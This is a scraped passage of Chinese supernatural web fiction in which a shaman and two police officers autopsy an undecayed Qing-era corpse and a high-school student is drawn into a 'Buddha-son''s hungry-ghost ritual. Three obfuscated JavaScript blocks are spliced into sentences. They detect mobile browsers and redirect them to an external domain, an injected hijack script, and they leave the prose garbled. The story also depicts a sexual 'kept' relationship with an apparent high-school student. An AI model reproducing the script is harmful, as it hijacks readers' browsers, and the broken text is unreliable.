“直视龙目会让你们三魂七魄不稳,今年出什么任务都会不顺,易见邪门。” “……你诅咒我们。” 郎放终于对这俩警察烦了,“诅咒你们两个傻逼有什么好处?转身!” 这一声像教官,谭鸿信和林鸣忙不迭转身。 身后忽的传来重物落地的声音,林鸣差点就下意识回身,谭鸿信赶紧侧行两步,挡住身后场景。 郎放的手专门为了整理尸体仪表而做了准备,一切都进行得很顺利。尤其是头发。郎放拨开糊在女人脸上的头发,整理她的仪容仪表。蒋念琅昨天问他,需不需要拔一块龙鳞下来压尸,郎放说千万别这么做,还质问了蒋念琅几句,到底谁教她这么做的,蒋念琅说是读小说读到的,郎放生气,不让她把这些瞎编的故事当真。如果是假的还无所谓,问题是会起反效果! 一切整理妥当,郎放拉上拉链,洞穴底部的龙从刚才就化为了细蛇体型,这次是熟悉的形象了,标准的图腾龙样,蒋念琅化为龙形并活动要消耗巨大能量,接下来她会盘在郎放的大臂上休息,收起尖锐的龙爪,尾须扫过手臂时还略微有些令人搔痒。什么衣服不衣服的,不重要。郎放对双鸟组合道:“来帮忙,把尸体抬回车上。我在厂郊租了一间空库房。设施比较简陋,你们将就一下。” 谭鸿信和林鸣转过身来,将手电筒交给郎放,二人一前一后抬起裹尸袋。谭鸿信顺便问道:“厂里现在是什么情况?流水席还没散吗?” “散不了了。” “什么意思?” “流水席不是目的,是手段。目的还没有达成,流水席不会散。” 郎放打手电筒照亮下山路,天色暗如傍晚,林鸣抬着裹尸袋的前端,谭鸿信则是托底加上殿后。忽然谭鸿信感觉脊梁过电,后背一凉,有如一阵阴风贴着皮肉刮了过去。走在最前端的郎放特意喊了一声:“别回头!” 这下山路简直没尽头,谭鸿信在心里暗道,要是他还带了刑侦支队其他小年轻来就好了,阳气重,人也听指挥,说不定就不用谭鸿信亲自干这些活了。他和林鸣同病相怜。他们刑侦支队法医科有三位法医,两位正在为了晋升疯狂内斗,林鸣早就被踢出今明两年晋升的备选,但还是不让林鸣安生,故意下放他过来。谭鸿信则是今年第二季度因工伤做了个不小的手术,休息了一段时间,回 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库房顶端有一盏大黄灯,电线就裸露在墙上,只有几枚骑钉固定。郎放和谭鸿信在地上铺了好几层塑料防水布,在郎放的示意下,谭鸿信和林鸣摘下防毒面罩。屋外有水管,大家洗了手,戴手套、口罩,准备将尸体转移到防水布上,开始解剖。 林鸣:“这里条件简陋,没法做病理检测,我只能大致地做个推断。” 谭鸿信:“你尽力吧。” 林鸣拉开裹尸袋,终于见到他们费劲找出的尸体,按郎放的说法,“鲜尸一具”。为什么会形容为“鲜尸”?到底什么意思?随着拉链的拉开,林鸣全明白了。 女尸未腐,甚至皮肤质感鲜亮玉润如脂,发髻已是散乱开了,身上多处擦伤痕迹,这些擦伤与她脂白的皮肤形成鲜明对比,很容易就让人判断出她当时跌落深崖的受伤情况。看其衣物与装扮就知道她绝对不是这一年代的人,上衣是交领右衽的湘黄袄子,下穿鸦青色小裤管长裤。袄面上的刺绣较为粗糙,但纹样块面大,绣蝙蝠牡丹海水鸳鸯。林鸣一时间差点以为自己在做考古学家,可惜他不大了解这些服饰历史文化的东西,只是乍一下被吸引了目光。不仅尸身未腐,就连衣服也只是保持着肮脏且高湿的状态,却一点没有腐坏迹象。 当尸体从裹尸袋内转移到防水布上时,一切都已很明显了。双手双脚被缚,就算是活着扔进深沟里,也绝无生还的可能了。胸骨处探摸下去有明显凹陷,郎放补充道:“这里之前压着一枚石像的头颅。” 林鸣开始为女尸进行初步评估。 39.鬼子母神篇(十五) 谭鸿信当助手,为解剖过程拍照取证。郎放拿手电筒,根据林鸣的要求灵活打光。 林鸣硬着头皮上。 小心翼翼地解衣服,人们通常认为法医眼中无性别,可林鸣却觉得怎么可能没有呢。这种对异性的不敬感在今日更加强烈,强烈到有些令人头晕目眩。在有关妖精鬼怪的故事里,总是女鬼女妖居多,今天这也是反常必有妖的妖。林鸣也说不好是对性别感到棘手还是对女尸可能拥有的力量感到畏惧了。 这具尸体的死亡时间看上去压根不超过两天。死者衣物破旧,双手交叉于身后被捆绑,双脚也是遭同样的绳索捆绑。浑身都有挣扎痕迹,但挣扎未果。女尸面部表情平静,证明死亡的来临不可阻挡也无可招架。头皮无开放性损伤,四肢骨折,双手双脚因捆绑而淤血肿胀。胸部塌陷,符合郎放说的坠石情况。接下来就是要为女尸做内部检查。 林鸣每次面对尸体都会冷静下来,无视一切外界变化,可今天不知怎么回事,总是无法集中精神。后颈发毛,总觉得背后有人。窗外已全黑了,窗户倒映出室内的景象。林鸣恍然间一抬头,身后却一切如常。是自己吓自己。 林鸣:“我这样解剖她,会不会真的遭天谴?” 谭鸿信:“你疯了?你是法医啊!” 林鸣:“不然你来?” 谭鸿信:“那可不行,我又不是法医。” 郎放:“少说废话。你能在一个小时内完成吗?” 林鸣:“……我不干了。你在做梦呢。” 谭鸿信:“这又不会突然起尸咬你一口。你以为你这是在演《盗墓笔记》?” 在拌嘴声中,林鸣深呼吸,解剖刀沿胸骨中线从颈部下方切开,作“Y”字型刀口打开胸腔。原本作胸腔检查时要用电锯切开胸骨的,可女尸的胸骨已经遭砸碎了,反倒省了这一步骤。观察骨折痕迹,部分骨折端有血肿,但并不算新鲜。检查完胸腔就要检查腹腔,最后是开颅。中间过程不赘述,毕竟林鸣也只是完全在机械性作业,一些知识调动起来,帮他得出结论,可他整个人都处于灵魂出走状态。最后是头颅检查,有颅内出血的迹象,但应该不是致死原因。 手电筒光常常不稳,林鸣抬头想提醒郎放端正态度,可他见到的郎放是一副相当警惕的模样,所有的注意力都放在环境,林鸣只能出声让郎放靠近一些,这里需要光源,别的重话不敢说。 女尸的外表非常鲜润充盈,可内脏状态不佳。胃肠道空虚,心内膜有出血点,肾脏脱水产生缺血性改变等等。非常粗略地结合了其他检查之后,林鸣认定女尸的死因是饥寒交困而死,很有可能在崖底还坚持了几天时间。值得一提的是,通过盆腔检查,林鸣确定女尸有过生育经历,至于具体的生育时间,很难一时半会确定。 汇报完这一切,林鸣长出一口气,“怎么样?有头绪了吗?” “真是撞枪口上了。”郎放的语气中透着纳闷,“让我想想。” 三秒,五秒,十秒,半分钟。林鸣简直是在数秒。谭鸿信收起照相机,和林鸣一起等郎放。谭鸿信一直在想,万一这具尸体……就是刚死的人呢?会不会这些衣服是某种年轻人的潮流?甚至这会不会是郎放的阴谋,这人会不会是郎放杀的?可他刚才翻看照相机,尤其是最开始拍摄的外部检查的照片,女尸的肌肤纹理在相机里几乎已经是假人的程度了,可林鸣解剖得兴致勃勃。人体内部是最难伪造的,就算能伪造内脏,那内脏里的构造呢?那些肌肉、血管、神经。林鸣没提出异议,就说明这符合他的解剖常识。皮肤状态是某种鬼魅的异常,在这种背景下竟然有其合理性。 这让郎放怎么解释?佛子于上元时期现世,与不空法师的关系密切,而不空传译的经藏、论藏与行法几乎皆为汉人修行和后世主持仪式的重要依据。其中佛子的参与程度有多少?他是译场的参与者还是背后一切仪式法的检验者?不空重译了实叉难陀所译的《救面然恶鬼陀罗尼神咒经》,译为《救拔焰口饿鬼陀罗尼经》。佛子在重译中出力多少,不得而知。但不空随即译出《瑜伽集要救阿难陀罗尼焰口仪轨经》,确定了行法次第,成为传流至今的超度恶鬼的主要仪轨。 郎放可以确定的是,在这过程中,必须要有人施行这样的仪轨,确认其有效,这仪轨才会被确立,犹如操作手册。在检验其有效性的过程中,佛子不论是遵循仪轨经、主持仪轨的人,还是仪轨的初始正确施行者,继而被记录下来,总之佛子太过擅长——这要么是他试验出来的仪轨,要么是他帮忙校准、确定下来的仪轨。两者有什么区别?这都只能说明这是佛子的绝对擅长领域。 更别提鬼子母神于密教中的定义《诃利帝母经》也是不空诏译的。这新鬼子母神的原型女尸叠加了饿鬼和鬼子母神的形成背景。*1 之前郎放还心存侥幸,觉得这是佛子兴起而至。这样的佛子看上去游手好闲,在郎放租住房子的楼下操高中生。郎放也想问,这世界到底怎么了?这真的值得吗,佛子? 郎放终于出声:“直接死因上我们不能想办法,那间接死因呢?” 这是谭鸿信的业务范畴了:“这应该是凶杀事件,双手双脚都被绑着,应该是被人扔进来的。解剖的结果没用吗?那我们这不白费力气么?直接走间接死因的流程就完了。” 郎放:“我低估佛子了。他不是在凭空造神。这就是他要选的神格。林法医,你先把尸体缝合了,不缝合的话问题更大,死者要留全尸。我突然有点不确定刚才的祭仪够不够格。人类的法理……谭警官,假如这是一具现代人的尸体,有人偶然间发现并报警,你们也是走这套流程,接下来你们会怎么办?” 谭鸿信:“我警告你,现在这尸体到底是不是你说的清朝人都不清楚,万一就是我们二十一世纪的年轻人呢?你别想诱骗我们搞毁尸灭迹这套。既然这尸体被我们发现了,不管厂里的事有没有得到处理,这尸体我们都要带回去发布尸体认领公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445412|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告,要走法律程序的。” 郎放:“唔……对,这也是个办法。你们会为无名氏提供墓地或者纪念碑吗?” 谭鸿信:“我们省其他市没有,但我们市前几年建设人文关怀公安系统,有在做这件事。” 林鸣:“谭鸿信,你脑子怎么长的?这尸体已经被提前解剖过了,怎么上报?你想让我被那两头猪整死吗?郎放,我赌上职业生涯来帮忙解剖,你不用把我当什么好人,快点解决,解决不了也别拉我们下水。我和谭鸿信现在出厂也可以的。我真怕了你们了,真的。今年连做一年噩梦我都认栽。” 察觉到这剑拔弩张气氛,手臂上的小龙紧了紧,贴缠着郎放。这时郎放才想起刚才林鸣提到的一点:“你说她有生育过,我知道了……还有这条。我能理解你们的心情,干完这票我再也不接和佛子相关的任何单了,就连我都消受不起。” 郎放拉开外套拉链,露出随身的腰包,他从中掏出一根小袋烟丝和几张卷烟纸,蹲下来用小匕首割了一缕女尸的头发,焚烧成灰,将灰粉添进烟丝,卷成手卷烟。郎放让林鸣和谭鸿信重新戴上防毒面具,确认他们戴好了,郎放点烟,自己抽了起来。 烟气缥缈,即将散尽之际,忽然汇成极细的一根,悬空长出一根烟线,一头连接着正在燃烧的这卷烟,另一头缓缓下沉,顺着卷帘门隙流淌出去,但同时又分出非常细的一缕,指向了谭鸿信。郎放大松一口气,“她的后代竟然也在厂里,谭警官你今天还接触过。” 谭鸿信瞪大双眼:“谁?我今天接触过谁?” 郎放:“那人姓白。” 林鸣忙得额前滴汗,解剖过的尸体要一层一层缝合。他生怕郎放要把谭鸿信和他丢在库房里,自己去解决问题。可是这缝合尸体比解剖还麻烦啊!他的缝合工作基本已经全交给学生完成了,自己虽然也是熟练工,可这种仿佛被催着完工的感觉真让人窒息。 罗爱曜依旧以无色无相的法身跟随施霜景。他原本想走,可观察施霜景真的太有趣了。施霜景跟着刘茜,几乎同手同脚,还有些哀伤和无措。 闻道有先后,术业有专攻。对他来说,纵使郎放有可能带来干扰,但……这又怎么样呢?都是小打小闹。当罗爱曜二度现世,此世都已经无佛无法,无有大师。他是被遗弃现世的佛子,但也是遗世的隐神。他只是想开坛场,小小四个护法都要自己来造。说落拓也落拓。这些人应该理解罗爱曜的辛苦,尤其郎放这种人,听听人们怎么形容他们,封建迷信,意指落后。 遭受惊吓的施霜景,肾上腺素回归正常值之后,显得尤其茫然。罗爱曜忽然发现,比起这一切声势浩荡,施霜景的情绪剧烈起伏好像还要更有趣一些。 *1:前文佛子有回想过他与不空的关系。这几部经确实是不空译的,然而这个逻辑确实也是佛子存在的依据。在实证科学的角度下,如果一个仪式有效,一定经过检验。这也是为什么佛子会出现在这里的原因。 40.鬼子母神篇(十六) 时间差不多了。 施霜景终于看见前方出现光亮,淡淡如月光,朦胧清辉……不对,这就是月亮!不知何时起,月亮垂挂于天际,极大极下沉,光润盈盈如宝珠,这不是施霜景认知里的月亮,如果月亮放大这么多倍的话,一定能看见月球表面,可这只是一颗巨型的夜明珠,照得青乌的夜幕泛白,竟一时间觉得这夜幕之外都不是宇宙了,而是某个倒扣的、漆黑的钵底。施霜景被这巨大月亮勾魂摄魄,不知不觉间走到终点,烟雾缭绕,一垂眼就看见一座肚浑圆的黑铜大香炉,延绵不绝的烟就是从这里流出来的,甚至这一周的雾气也多来自于它。 刘茜用手将这烟往自己处拨了拨,似乎在品尝这烟气,她说:“人们其实不是在吃流水席,而是在吃这个——这才是佛子施食。” 施霜景也学着刘茜的动作,用手将烟扇往自己的鼻下,果真一股淡香。之前为什么闻不明白呢?这不是很明显的佛香吗?可施霜景再闻几下,顿觉胃部有些翻江倒海,想吐,酸水往喉咙涌,一屏息却差点咳嗽出来,只能赶紧退开。刚才初闻还觉得清幽馨香,现在却于肺腑间有种深层的油腻感,像冷凝的油脂附着在食道和气道中。施霜景只差那么一点就吐了,刘茜在香炉旁整理仪容,收拾妥当了,就又朝施霜景伸手,像是要牵施霜景继续走。 眼前一切颜色忽然强烈对照。清蓝色的淡光的月影与碗钵似的半圆铁乌夜幕相依相衬。黑铜大香炉里有高香三支,散香无数,烟雾中微红的燃香像血点。这已不是道路的景色。香炉后拼了连排的供桌,铺有明黄桌布,桌布侧一条一条披挂下藏红色幡条。桌上金盘金碗金杯,餐肴丰盛,瓜果缤纷,琼浆玉液。再往后看就是更影绰的……总觉有某样巨物伫立在阴影中,月光的作用是打出一盏光亮的灯,以转移众人对灯后的黑的注意。巨物自在不动,藏于暗影。微光笼罩,只勾勒出巨物底部一圈繁丽的硬质金边,似海浪又似莲叶,丛花一般盛开,甚至开得过盛,花叶倒伏,斜向上地蔓伸,如同天人浇金筑银,定格制出浪椅莲台。烟雾如浪,形似欲海。而这一切的周围再也不见楼房、店面、街道、路灯等现代的建筑或装置,纵使施霜景又起了想逃想躲的心,他无处可躲。 再一低头,施霜景发现自己双脚置于跪垫与跪垫间。他侧身回望,往后数十米铺开了成百上千个方型跪垫。这当真是仪式现场,好不真实,施霜景俯身摸了摸地上的跪垫,好舒适柔软的皮革。 “小景,你饿不饿?”刘茜蓦地出现,幽幽问道。 施霜景作出婉拒的手势。不饿,一点也不饿。就算饿也吃不了一点。 “你不用跪在这里。跟我来。” 刘茜领着施霜景绕到供桌后部,有设一座低矮平台,踩着几阶台阶往上,设了一把黑紫檀禅椅,椅背有种种雕刻,活灵活现,甚至因为密集雕刻而显得瘆人。刘茜让施霜景坐下,此处的视野略略高于水平地面,让施霜景有种坐主位的感觉,将仪式现场一览无余。 施霜景坐不踏实:“奶奶,还有别的椅子吗?你也坐。” “我不坐。我一会儿就下去了,我要参与仪式的。这是主法者的位置,佛子不需要坐,只多空出来一把而已。” 施霜景马上就想站起来。但他肩膀受力,像一双手死死按住他肩膀,这下施霜景是给焊在这把椅子上了。 “佛子?”施霜景试探性地喊了喊。无人应答。 罗爱曜不出声。 他就说施霜景很有意思吧。挺搞笑的。 其实施霜景坐得很难受。书包抵在他后腰,椅子硬梆梆,直着腰坐就觉得屁股痛。这时施霜景才摸见脖子上好像多出了什么东西——一串项链?一整串细珠的项链,更像是可以绕手上好几圈的手串,戴在脖子上竟然也合适,并不松垮。施霜景试图用余光看清项链材质,只见到青金石的青蓝色。施霜景当即翻了个白眼。又是罗爱曜。总是罗爱曜。 事到如今,施霜景的心态已经有些不对劲了。他意识到自己是罗爱曜的玩物,本能地觉得不安全,可很难逃出罗爱曜的五指山。罗爱曜根本就不会放过他,倒是不会直接伤害施霜景,可这家伙不安分,会将施霜景卷进去。听罗爱曜说那些屁话根本没有任何意义,什么“预估”,什么“判断”,天知道他说的是真话还是假话,他的“预计”理应有多准确,不会是个骗子来的吧? 可分析来分析去,一想到这家伙是自己的金主,一想到罗爱曜在床上喜欢贴紧他睡觉,还有什么鼓励他上大学的话语和行为——这骗子到底是在骗施霜景还是在骗自己?施霜景虽然不聪明,但还是能咂摸出一些自相矛盾的事实来。如果罗爱曜真的神通广大,那他图自己什么?如果罗爱曜在骗人,眼前的场面不由正说明了兴风作浪的家伙其实有两把刷子吗? 毛骨悚然里夹杂半丝温情,包养故事里添多玄学佐料。施霜景是彻底想不明白了。 将施霜景送上最佳观赏席,罗爱曜的注意力再度转向。 施霜景吃祭品、戴佛子故宝,注定了他从一开始就听不见长咒,到如今仪式正至高潮。超度饿鬼的焰口法会持续时间有长有短,在励光厂的这一法会并不按往常的仪轨来操作,故时间非常长。施霜景早上上学时看见街道上正在布置流水席,还没开席,大约是早上十点钟,法会开始。大多数的厂里人只模糊听见很轻的声音,甚至可能压根没有听见什么动静,直到后来这声量才愈发增加,直入人心。这流水席最初只是请死者亲友来参加,而后才是众人在这如幽似幻的梵音中迷失了,整个厂的人都被吸引过来。 小诃利帝当年于山洞中饥寒交困而亡,山洞底部有一尊鬼子母神石像,在小诃利帝死后不久,便像是有交相感应一般,神像头颅落入深沟底部,与小诃利帝尸身常伴。以道家观点,人有三魂七魄,人死后不久,三魂七魄都还未散,此佛头成为某种凭依,使得小诃利帝的三魂七魄久聚不散。三魂未离,身体也就是生体,不腐不坏。小诃利帝是清中期生人,距今已是几乎二百九十年。她似精非精,似怪非怪,因这颗石像头颅而因缘未尽,没有投胎转世,结算业果。 此地在励光厂驻扎之前名叫莫新村,“新”字是纪念新中国成立而加进的,在小诃利帝的那个年代,此村就叫“莫村”,莫为姓氏。小诃利帝并没有什么敞亮大名,反倒宁愿佛子称呼她为小诃利帝。只不过名字也是可以说的,姓莫,家中排行老四,用作名字发音不吉利,于是数字往后挪一位,叫莫五娘。 两位警察解剖了莫五娘的尸体,却更加迷惘。名叫郎放的巫师试图找寻莫五娘死亡的原因,以在仪式结束前顺利化解莫五娘的怨气。对于阻碍莫五娘转化为鬼子母神化身这一点,巫师已经全然放弃了,因为郎放知道,天时地利与人和齐备,莫五娘一定能转化为鬼子母神,原本她就只差这么一个仪式。可这神是善神还是恶神,一方面取决于教化鬼子母神的佛陀采用了怎样的教化法,另一方面还要看鬼子母神的开悟如何。 不能指望罗爱曜的品行,巫师决定主动出击。可惜这调查的结果并没有让巫师满意。他们去到孤儿院,找到莫五娘的后代,反复盘问,不得其情,因为就连莫五娘的后代都不知道这深层的缘分落点到底在哪儿。 迷雾中人头攒动,烟海中浮沉,人挤人似鱼也似浪。施霜景紧张了起来,但人们只是找到各自的跪垫,虔诚落座,过来的路上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445413|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人愈来愈少,总能找见自己接受施食的一隅。 “小景,我与刘茜差别大吗?” 施霜景听见刘茜这样问道,通体一寒,小诃利帝发问,感觉在做死亡选择题。施霜景下意识摸了摸项链,反问:“什么方面的差别?” “刘茜是好母亲。”小诃利帝平视前方。 “我没有立场和资格来说这个差别,我既不了解你,也不了解刘奶奶。”施霜景说,“你对那些?人真心实意,那就算是好母亲吧。我不清楚。” 小诃利帝的语气极平静、坦诚:“其实我对这些孩子俱是‘不得已而为之’。我为了自己的孩子,杀夫出走,没落得个好下场,死也死不清净。饥荒年间,我不过是一具受困活尸,这些村人将孩子不管不顾地扔下来,他们食我的肉长大,也就生得乖张扭曲面貌。我的身体不坏不腐,简直像肉灵芝,吃了还能再长,我也觉得这于我的命运来说太作孽。到底哪些孩子受惠,哪些母亲受苦,我是盘算不清楚了,但我如果做鬼子母神化身,不会保佑‘多子多福’,最多庇佑分娩时母子平安。现在的孩子太多了,应当好好照料活着的孩子。已来的就好好照料,没来的不必强带他们来。至于母亲,每个女人何必都做母亲?对了,你和佛子应该有做措施吧?” 前面一整段话,施霜景越听越跟不上思维的脚步,几次掉队,边听边想,人都晕了。没成想最后一句,莫五娘忽然问了一个冒犯但切题的问题,施霜景以为自己听错了:“什么?” “你和佛子乱搞有没有戴X?没戴的话,吃药了吗?”这句是刘茜的语气。 施霜景神智混乱地低叫一声,下意识站了起来。彼时罗爱曜转移了注意力,仪式即将进入高潮阶段,这一下就没按住施霜景。 必须撒谎。不撒谎的话没法活了。施霜景说:“我和佛子没有乱搞!” 刘茜终于将目光转过来,死盯住施霜景:“不是搞出小孩了才能算乱搞。” “我真的没有……”施霜景求饶似的重复道。 “是的,我们戴X了。” 如天人音,不知从何而来,不见罗爱曜身影,但反正话传到了。 施霜景:“……” 刘茜松一口气,但又提起一口新气,是莫五娘:“给佛子生个小佛子倒也就衣食无忧了。” 这状况比刚才施霜景被?人围猎还棘手!羞愤失措,脑中划过死念,一想到给罗爱曜生孩子的可能,施霜景真觉得不如死了算了。莫五娘见施霜景和罗爱曜都不回话,她兀自输出:“反正佛子不是真和尚,真和尚也不是不能有孩子。只不过小景要考试,考完试如果顺利,还要再上几年学的。唉,真苦恼。唉,时代局限性,我知道的,知道不是那个时代了,又不免担心没个孩子捆不住男人,而且孩子才是倚靠,说不定小佛子日后比佛子更有才?话又说回来,佛子能否有后代?算了算了,小景你坐,不要紧张。我说的话就是臭气,放过就过了,脑子打架,调和不了。” 施霜景马上抓住一句重点,附和道:“佛子应该是不能生。他不是人类。” 罗爱曜:“……” 施霜景又解读出了这沉默,点破它:“你看,佛子没接话,说明他赞同,或者他也不知道。” 罗爱曜是真的不知道,可让施霜景这样说破,就好像一口锅从施霜景那儿转到了罗爱曜这儿,从天而降,负担转移了,罗爱曜背锅“不能生”,施霜景、刘茜和莫五娘皆大欢喜。 施霜景又被摁回椅子上去了,好像耳朵里的棉花给人拔掉了似的,忽然梵音入脑,念诵长咒、唱经唱法、摇铃敲钵……罗爱曜得净化一下施霜景的脑子才行。这小孩好不尊敬。 41.鬼子母神篇(十七) 这一下天音灌耳,忽像置身于大殿中,经声与各式佛门乐器声音回响交织出冷寂的热闹和嘈杂。明明是人的宗教,却不再有人的质感,微微往下望,所有找到跪垫并长跪的人们都面目不清,就连幽魂这样的比喻都不恰当,只好似一座座碑,数排数列的碑林。施霜景不明白为什么要做到这一步,几乎整个厂的人都在这里了,能不能有谁来告诉施霜景,是有谁犯了大错所以必须要赎罪吗? 得到罗爱曜的“优待”也让人怪不好意思的。施霜景想,这算是安全吗?罗爱曜为什么要给他安全的承诺?真奇怪。 施霜景在心里轻轻问:“佛子,在吗?看在我听话的份上,能不能至少让我有点参与感?” “你想参与什么?” 施霜景一惊。罗爱曜真的能听见?真的假的?那他们还费什么劲用手机啊?说起来,手机……他的手机葬身火海了……好吵,刚刚明明还什么都听不见,这些背景音是罗爱曜对施霜景的惩罚吗?真是够小气。施霜景心里冒出几百个吐槽对话气泡,怎么压都压不住。不,还是回到刚才的想法,佛子是往他心上装听诊器了吗?什么都能听见?真的? “我大部分时间对你的想法不感兴趣,杂乱无章,吵吵闹闹,小孩子心性。” 我惹你了?施霜景真觉得他和罗爱曜合不来,但自己的好奇心驱使他不得不问道:“佛子,请告诉我,你和奶奶到底在搞什么名堂。” “我没有讲故事的耐心。” “……”不然施霜景还是走吧。稀里糊涂的,不待也罢。 “你所见的四肢扭曲的活饿鬼并不直接伤人——你是特殊情况。励光厂所在的土地存在着某种业力的异常,我不知道是从前就这样还是最近才如此,只不过看小诃利帝的存在,这块地界就是比较邪门。换个思路看,这地方说不定也算是块风水宝地,你付出的一分努力,不会在十年后才兑现,是你做好事与坏事都会很快得到结果的特殊地点,所以这里才设置了航天工厂,当年选址的人有点能力。励光厂以前叫莫新村,活饿鬼在雷雨夜倾巢而出,他们很多只是回去找曾经的家人,却为其所伤。我替他们下了血咒,于是有人暴毙而亡。这些死亡事件是惩罚他们的遗忘。事实上还有一些人同样与活饿鬼的家人相遇,却知道做好菜好饭招待他们,这类人就得以脱离灾厄。是不是很公平?” “……这要心理承受能力很好吧。被吓坏了不也是很正常的事吗?那你在其中是什么角色?” “我是佛子,需要四位护法神,我想将这块地界筑成我的坛场,送我回净土。送小诃利帝成为鬼子母神对我有帮助,所以设置事件,制成典故经藏,为她正名,她就可以成为鬼子母神的化身之一。这事是我一手促成,什么角色,主法者吧,就是你坐的这个位置。” 罗爱曜娓娓道来,的确是讲故事的语气,年长者对年幼者说,了解者对不了解者说,说得不那么清楚,可每个分句都还留了气口,允许施霜景再追问。 正说到“送小诃利帝成为鬼子母神”,就见刘茜做出了收网的动作,手上本无实物,却拽着什么东西往回来。那些?型的活饿鬼若隐若现,集体往此处迁移。 施霜景下意识闭眼双手合十。 罗爱曜:“你在干什么?” 施霜景:“许愿大家都能顺利渡过难关。” 罗爱曜:“我不会替你实现这个愿望。” 施霜景:“你这是搞连坐。冤有头债有主,你都已经弄死这么多人了,现在还闹出这么大的场面,就只是为了满足你的目的。你不是佛子,是瘟神。我在许愿什么时候能把你送走。” 罗爱曜:“那你许吧,我也不知道谁会听见。” 施霜景:“饿鬼攻击我的事都可以暂且不追究。仪式完成之后,厂里的居民会怎么样?流水席对他们有伤害吗?我看见那些脐带连接着饿鬼,这些饿鬼会从人类身上获得什么东西吗?” 罗爱曜:“人们吃的不是流水席,而是我的佛香施食,其实这对他们来说算是好东西。饿鬼不能直接接受施食,就从有血缘关系的亲人那儿间接获取。哦,想起一事,当时你受饿鬼的关注,遭他们袭击,你切断这些脐带,他们便受到佛香施食的法力反噬,展现出他们原本的地狱貌,这才会燃烧起来,是为‘焰口’,面部燃火,倒也是活该。鬼子母神的典故需要鬼子母神以人类婴孩为食物,供养自己的婴孩,这个施食过程是为还原典故,走过场。” 施霜景:“……走过场……你知道这场景有多恐怖吗?!就算是仪式也太恐怖了吧!厂里人明显也知道桌子下面藏了什么东西啊!他们知道自己被强迫参加宴会!” 罗爱曜:“我无所谓。人类是仪式性动物,自己为仪式赋予意义,安慰自己,抬高自己。今日怕得胆破,明日庆幸自怜,后日一忘皆空。不信的话,明日或者后日,你挑一天再去问这些人,听听他们的答案。” 施霜景早已放下双手、睁开双眼,在与罗爱曜对话过程中,他重新握紧金刚杵,作自保的准备。刘茜,不,莫五娘拽回这些孩子,出于疼惜,也出于仪式完成的迫切。 罗爱曜:“这些活饿鬼在山隙中长大,陪伴小诃利帝七十年。” 施霜景:“大家都很可怜。” 罗爱曜:“佛不救人,佛法只促进开悟,修行是每个生灵自己的任务。有情万物在我眼中皆为平等,人道、畜道、饿鬼道,没有谁比谁更重要或是更优先。谁的错、谁的对就是加加减减,然后兑现业报。善有善报,恶有恶报。一时的报带来一时的显现,这世为人,下世为猪狗,再下世说不定就为天人。” 施霜景:“你歪理一套一套的。” 罗爱曜:“你脑子一卡一卡的。你真的听懂了吗?” 施霜景:“没有。” 罗爱曜:“笨蛋还想要什么参与感?” 施霜景:“你这个疯子,快举行完仪式拉倒。” 两人无实物交流了半天,施霜景坐这把黑紫檀禅椅坐得腰酸背疼,微微转身,想将书包折叠一下当背靠。这一转身,看见了身后巨大佛影已揭开半面暗纱,天上的囫囵孤月进一步低垂下移。 从前孤月高悬时,由于未知的光影条件,只能看见浪椅莲台,现在光源下移,佛身的形象终于有恰当的投光所勾勒,清辉之中,只见一座斑驳宏丽的半挖空佛型宝石巨窟顶天立地,其间闪烁着缤纷繁杂的光耀。施霜景连水晶洞摆件都没见过,更别说这样的天地至宝,以这般的密集恐怖来震撼他。说是佛型,是因为可见出巨大佛像的大致形状。头、身、肩、躯干,一手结印,一手托钵,可这佛像却像是被从中半剖开,内里满满镶嵌奇珍异石……不,并非镶嵌,而是仿佛就从佛身内部长出一般。彩是欧泊、碧玺、翡翠,白是羊脂白与砗磲,黄是蜜蜡,红是珊瑚,一整个彩窟敞开,宝石的炫光却像棱柱般尖锐可刺死人,密集靡丽到一定程度会徒生盛极必衰的恐怖。 这是什么东西?这比一尊巍峨的黑铜巨佛还令人望而生畏,既有宗教文明的暗示,却又远高出人力所能达成的建造工艺,野蛮生长的珍宝原料如同一场明艳的报复,色彩繁杂到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452045|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喧嚣地步,以整片无云无星的夜幕做衬底,宝石凹凸嶙峋地折射月光。 人说佛有琉璃身,无色无相,世人便常以为佛是如镜、如玻璃、如水如冰般透明澄澈。罗爱曜是为佛子,亦是琉璃,却色杂得以成空,如同白色是复合了如此多彩色而成的突然的空寂之色,罗爱曜的琉璃法身藏于黑铜鎏金的伪装之下,中为空,内生异色。 